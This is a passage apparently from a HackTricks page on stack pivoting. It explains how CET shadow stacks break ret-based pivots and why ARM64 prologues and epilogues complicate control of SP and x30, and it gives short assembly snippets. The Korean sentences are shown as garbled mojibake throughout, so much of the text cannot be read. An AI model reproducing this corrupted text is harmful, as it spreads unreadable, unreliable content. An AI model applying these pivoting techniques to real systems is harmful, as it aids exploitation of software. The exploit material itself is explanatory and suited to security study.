  • JOP/COOP ๋˜๋Š” SROP ๊ธฐ๋ฐ˜ ๊ธฐ๋ฒ•์€ ์ผ๋ถ€ ํƒ€๊ฒŸ์—์„œ ์—ฌ์ „ํžˆ ์œ ํšจํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, SHSTK๋Š” ํŠนํžˆ ret ๊ธฐ๋ฐ˜ pivot์„ ๊นจ๋œจ๋ฆฝ๋‹ˆ๋‹ค.

  • Windows note: Windows 10+๋Š” user-mode๋ฅผ ๋…ธ์ถœํ•˜๊ณ  Windows 11์€ shadow stacks๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋Š” kernel-mode โ€œHardware-enforced Stack Protectionโ€์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. CET ํ˜ธํ™˜ ํ”„๋กœ์„ธ์Šค๋Š” ret์—์„œ์˜ stack pivoting/ROP๋ฅผ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค; ๊ฐœ๋ฐœ์ž๋Š” CETCOMPAT ๋ฐ ๊ด€๋ จ ์ •์ฑ…์„ ํ†ตํ•ด ์˜ตํŠธ์ธํ•ฉ๋‹ˆ๋‹ค(์ฐธ์กฐ).

ARM64

In ARM64, the prologue and epilogues of the functions donโ€™t store and retrieve the SP register in the stack. Moreover, the RET instruction doesnโ€™t return to the address pointed by SP, but to the address inside x30.

Therefore, by default, just abusing the epilogue you wonโ€™t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

ARM64์—์„œ stack pivoting๊ณผ ์œ ์‚ฌํ•œ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด SP๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์–ด๋–ค ๋ ˆ์ง€์Šคํ„ฐ์˜ ๊ฐ’์ด SP๋กœ ์ „๋‹ฌ๋˜๋„๋ก ํ•ด๋‹น ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ œ์–ดํ•˜๊ฑฐ๋‚˜, SP๊ฐ€ ์Šคํƒ์—์„œ ์ฃผ์†Œ๋ฅผ ์ทจํ•˜๊ณ  ์žˆ๊ณ  overflow๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ ๋“ฑ). ๊ทธ๋Ÿฐ ๋‹ค์Œ epilogue๋ฅผ ์•…์šฉํ•˜์—ฌ ์ œ์–ด๋œ SP์—์„œ x30 ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ๋กœ๋“œํ•˜๊ณ  RET ํ•˜์—ฌ ๊ทธ ์ฃผ์†Œ๋กœ ์ด๋™ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ